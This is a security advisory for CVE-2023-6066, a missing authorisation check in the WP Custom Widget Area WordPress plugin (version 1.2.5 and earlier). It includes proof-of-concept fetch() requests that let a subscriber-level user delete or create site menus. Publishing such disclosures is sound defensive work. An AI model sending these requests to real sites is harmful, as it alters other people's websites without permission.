WP Custom Widget Area <= 1.2.5 – Subscriber+ Menus Creation/Deletion/Update | CVE 2023-6066

Description

The plugin does not properly apply capability and nonce checks on any of its AJAX action callback functions, which could allow attackers with subscriber+ privilege to create, delete or modify menus on the site.

Proof of Concept

Log in as a subscriber, and paste any of the following fetch() call in your browser's console:

# Deletes an existing menu
fetch("http://vulnerable-site.tld/wp-admin/admin-ajax.php?action=delete_menu", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
   },
  "body": "data[cwa_id]=test",
  "method": "POST",
})

# Creates a new menu with a title set to "Hacked Title"
fetch("http://vulnerable-site.tld/wp-admin/admin-ajax.php?action=add_menu", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
   },
  "body": "data[cwa_id]=test&data[cwa_name]=Hacked+Title",
  "method": "POST",
})